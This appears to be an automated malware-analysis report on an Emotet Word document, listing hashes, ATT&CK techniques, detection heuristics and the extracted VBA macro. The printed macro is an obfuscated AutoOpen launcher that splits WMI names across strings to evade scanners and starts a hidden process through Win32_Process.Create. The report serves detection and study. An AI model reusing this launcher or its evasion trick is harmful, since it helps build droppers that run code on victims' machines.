Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4c3360c9380f490e…

MALICIOUS

Office (OLE)

132.9 KB Created: 2019-05-16 13:32:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: d506852ddd76bd39691094daa90ba4b2 SHA-1: 8d21d7f2c87b3d51dd0bc2fdd55201d80585172a SHA-256: 4c3360c9380f490e271664c6508acacf697558b870d2de03bbbc95a3ce3367d2
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1134.001 Access Token Manipulation

The sample is a malicious Word document containing a VBA macro. The macro is obfuscated using string concatenation to reassemble the string 'winmgmts'. It then uses GetObject to instantiate a WMI service and calls the Create method of the Win32_Process class to launch a new process. This is a common technique used by malware like Emotet to download and execute additional payloads. The ClamAV detection also explicitly identifies it as Emotet.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1269 bytes
SHA-256: 2bd9d547fa4a8750ef533ef57453685461ab6aa0d9afc194c72333dae923363d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "w999057"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "f6_9410, 0, 0, MSForms, TextBox"
Attribute VB_Control = "m31040, 1, 1, MSForms, TextBox"
Attribute VB_Control = "H_226448, 2, 2, MSForms, TextBox"
Attribute VB_Control = "p8984383, 3, 3, MSForms, TextBox"
Attribute VB_Control = "X55394, 4, 4, MSForms, TextBox"
Attribute VB_Control = "A0523292, 5, 5, MSForms, TextBox"

Attribute VB_Name = "W79812"
Sub _
autoopen( _
)
Set J16468 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
   a5_8579 = (("V273_88") + ("427507946"))
J16468. _
ShowWindow = vbFalse - vbFalse
   I54202 = (("F_938__") + ("274246516"))
b75788 = w999057.m31040 + w999057.H_226448 + w999057.p8984383 + w999057.X55394 + w999057.f6_9410
   w6027244 = (("T584236_") + ("854147038"))
Set t750053_ = GetObject(("winm" + "gmts:" + "Win3" + "2_Process"))
   B8455_22 = (("q30723_9") + ("260990702"))
t750053_.Create w97216 + b75788 + S89605, i0_98347, J16468, Y5196916
End Sub


Attribute VB_Name = "t48970"

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